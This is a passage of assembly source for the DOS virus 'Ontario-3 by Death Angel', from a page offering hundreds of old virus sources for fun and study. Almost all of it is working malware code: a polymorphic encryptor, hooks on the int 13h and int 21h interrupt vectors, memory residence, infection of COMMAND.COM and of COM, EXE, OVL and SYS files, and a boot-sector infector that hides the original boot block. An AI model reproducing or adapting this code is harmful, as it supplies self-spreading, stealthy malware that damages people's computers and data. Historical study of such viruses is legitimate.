ontario3.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                div     bx
                xchg    ax,bx
                inc     ax                      ; ax = 4
                mul     dx                      ; convert to offset in
                xchg    ax,bx                   ; table
                lea     si,[bx+offset table1]
                lodsb
                mov     byte ptr ds:patch1,al
                lodsb
                mov     byte ptr ds:patch9,al
                lodsb
                mov     byte ptr ds:patch12,al
                lodsb
                mov     byte ptr ds:patch15,al
                call    random
                jz      encrypt5
                xor     byte ptr ds:patch13,2 ; loop/loopnz
encrypt5:
                in      ax,40h                  ; get random number
                mov     byte ptr ds:patch8,ah
                and     ax,0Fh
                xchg    ax,bx
                shl     bx,1
                mov     ax,[bx+offset table2]
                mov     word ptr ds:patch10,ax
                xor     si,si
                mov     di,offset encryptbuffer ; copy virus to
                mov     cx,endvirus - decrypt   ; temporary buffer
                push    cx                      ; for encryption
                cld
                rep     movsb
                mov     bx,offset enddecrypt
                push    word ptr [bx]           ; save it
                mov     byte ptr [bx],0C3h      ; put retn in its place
                push    bx
                xor     byte ptr [bx-7],28h     ; sub/add
                push    word ptr ds:decrypt_loop
                mov     byte ptr [bx-8],2Eh     ; CS:
                mov     dx,offset encryptbuffer
                add     bx,dx
                mov     word ptr ds:patch2,bx
                call    decrypt
                pop     word ptr ds:decrypt_loop
                pop     bx
                pop     word ptr [bx]
                pop     cx
                retn


random: ; 1/2 chance of zero flag set
                in      al,40h
                and     al,1
                cmp     al,1
                retn


saveorigvectors:
                push    ds
                push    ax
                xor     ax,ax
                mov     ds,ax
                mov     ax,ds:13h*4
                mov     word ptr cs:[bx+storeint13_1],ax
                mov     ax,ds:13h*4+2
                mov     word ptr cs:[bx+storeint13_2],ax
                mov     ax,ds:21h*4
                mov     word ptr cs:[bx+offset oldint21],ax
                mov     ax,ds:21h*4+2
                mov     word ptr cs:[bx+offset oldint21+2],ax
                pop     ax
                pop     ds
                retn

strategy:
                mov     word ptr cs:[bx+doffset],bx ; save delta offset
                pop     bx
                pop     di
                pop     si
                call    pushall
                push    cs
                pop     ds
                mov     bx,1234h                ; restore delta offset
doffset         =       $ - 2
                db      8bh, 87h                ; mov ax,ds:[save4+6]
                dw      offset save4 + 6        ; get old strategy entry point
                mov     word ptr ds:[6],ax      ; and restore to file header
                int     12h                     ; Get memory size in K
                sub     ax,5                    ; decrease by 5 K
                mov     cl,6                    ; convert to paragraphs
                shl     ax,cl
                mov     es,ax
                mov     word ptr ds:[bx+himemsegment],ax
                cmp     byte ptr es:[3],0B9h    ; check if already installed
                je      strategyexit
                mov     si,bx                   ; copy to high memory
                xor     di,di
                mov     cx,viruslength
                rep     movsb
                pushf
                db      09Ah    ; call far ptr
                dw      infectCOMMANDCOM
himemsegment    dw      0

strategyexit:
                call    popall
                jmp     word ptr cs:[6]         ; go to original strategy

table1          db      0BEh, 04h, 46h,0F3h ; si
                db      0BFh, 05h, 47h,0FBh ; di
                db      0BBh, 07h, 43h,0DBh ; bx

table2:         inc     al
                dec     al
                inc     ax
                inc     ax
                dec     ax
                dec     ax
                add     al,cl
                sub     al,cl
                xor     al,cl
                xor     al,ch
                not     al
                neg     al
                ror     al,1
                rol     al,1
                ror     al,cl
                rol     al,cl
                nop
                nop
                add     al,ch

comspec         db      'COMSPEC='
command_com     db      '\COMMAND.COM',0

validextensions db      'COMEXEOVLSYS'

bootsector:     ; offset 600h in the virus
                jmp     short bootsectorentry
                nop
bootparms       db      3Bh dup (0)

bootsectorentry:
                xor     ax,ax
                mov     ds,ax
                cli
                mov     ss,ax
                mov     sp,7C00h
                sti
                mov     ax,ds:13h*4             ; get int 13h handler
                mov     word ptr ds:[7C00h+oldint13-bootsector],ax
                mov     ax,ds:13h*4+2           ; and save it
                mov     word ptr ds:[7C00h+oldint13+2-bootsector],ax
                mov     ax,ds:[413h]            ; get total memory
                sub     ax,2                    ; reduce by 2K
                mov     ds:[413h],ax            ; replace memory size
                mov     cl,6
                shl     ax,cl                   ; convert to paragraphs
                sub     ax,60h                  ; go to boot block start
                mov     es,ax
                mov     si,sp
                mov     di,offset bootsector
                mov     cx,100h
                rep     movsw
                mov     dx,offset highentry
                push    es
                push    dx
                retf
highentry:
                xor     ax,ax                   ; reset disk
                and     dl,al
                int     13h
                push    ds
                push    es
                pop     ds
                pop     es
                mov     bx,sp                   ; read to 0:7C00h
                mov     dx,drivehead            ; find where original boot
                mov     cx,sectortrack          ; block stored and then
                mov     ax,201h                 ; read original boot
                int     13h                     ; sector
                jc      $                       ; halt on error
                xor     ax,ax                   ; else chain to original
                mov     ds,ax                   ; boot sector
                mov     word ptr ds:13h*4,offset int13
                mov     ds:13h*4+2,cs           ; replace int 13h handler
                push    es
                push    bx
                retf

int13:
                push    bp
                mov     bp,sp
                push    ds
                push    es
                push    si
                push    di
                push    dx
                push    cx
                push    bx
                push    ax
                pushf
                xor     bx,bx
                mov     ds,bx
                test    byte ptr ds:[43Fh],1    ; A: spinning?
                jnz     exitint13               ; exit if so
                or      dl,dl                   ; default drive?
                jnz     exitint13               ; exit if not
                cmp     ah,2                    ; read/write/verify?
                jb      exitint13
                cmp     ah,4
                jbe     trapint13
exitint13:
                popf
                pop     ax
                pop     bx
                pop     cx
                pop     dx
                pop     di
                pop     si
                pop     es
                pop     ds
                pop     bp
                jmp     dword ptr cs:oldint13   ; chain to original handler

trapint13:
                cld
                push    cs
                push    cs
                pop     es
                pop     ds
                xor     cx,cx
                mov     dx,cx
                inc     cx
                mov     bx,offset endvirus      ; read boot block to
                mov     ax,201h                 ; buffer at endvirus
                call    callint13
                jnc     int13readOK
int13exit:
                jmp     short exitint13
int13readOK:
                cmp     word ptr [bx+15h],501Eh ; push ds, push ax?
                jne     int13skip
                cmp     word ptr [bx+35h],0FF2Eh; jmp cs: ?
                jne     int13skip
                cmp     word ptr [bx+70h],7505h ; add ax,XX75 ?
                jne     int13skip
                mov     dh,1
                mov     cl,3
                mov     ax,201h
                call    callint13
                xor     dh,dh
                mov     cl,1
                mov     ax,301h
                call    callint13
int13skip:
                cmp     word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
                je      int13exit               ; don't infect self
                cmp     word ptr ds:[offset endvirus+0Bh],200h
                jne     int13exit               ; infect only 512 bytes per sector
                cmp     byte ptr ds:[offset endvirus+0Dh],2
                jne     int13exit               ; only 2 reserved sectors
                cmp     word ptr ds:[offset endvirus+1Ah],2
                ja      int13exit               ; only 2 sec/track
                xor     dx,dx   ; calculate new location of boot block
                mov     ax,word ptr ds:[offset endvirus+13h] ; total sec
                mov     bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
                mov     cx,bx
                div     bx                      ; # track
                xor     dx,dx
                mov     bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
                div     bx
                sub     word ptr ds:[offset endvirus+13h],cx ; total sec
                dec     ax
                mov     byte ptr sectortrack+1,al
                mov     ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
                mov     byte ptr sectortrack,al
                mov     ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
                dec     ax
                mov     byte ptr drivehead+1,al
                mov     byte ptr drivehead,0
                mov     dx,drivehead            ; move original boot block
                mov     cx,sectortrack          ; to end of disk
                mov     bx,offset endvirus
                mov     ax,301h
                call    callint13
                jc      go_exitint13
                mov     si,offset endvirus+3    ; copy parameters so
                mov     di,offset bootparms     ; no one notices boot
                mov     cx,bootsectorentry - bootparms ; block is changed
                rep     movsb
                xor     cx,cx
                mov     dx,cx
                inc     cx
                mov     bx,offset bootsector    ; copy virus boot block
                mov     ax,301h
                call    callint13
go_exitint13:
                jmp     exitint13

callint21:
                pushf
                call    dword ptr cs:oldint21
                retn

callint13:
                pushf
                call    dword ptr cs:oldint13
                retn

oldint13        dd      0
drivehead       dw      100h
sectortrack     dw      2709h
YAM             db      '*YAM*',1Ah
                db      'Your PC has a bootache! - Get some medicine!',1Ah
                db      'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
save4:
origCSIP        db      0CDh, 020h, 0, 0
origSSSP        dd      0

endvirus:

viruslength     =       $ - decrypt

infCOMMAND      db      ?
infectSYS       db      ?
readbuffer      db      01Ch dup (?)
encryptbuffer   db      viruslength dup (?)

                end     decrypt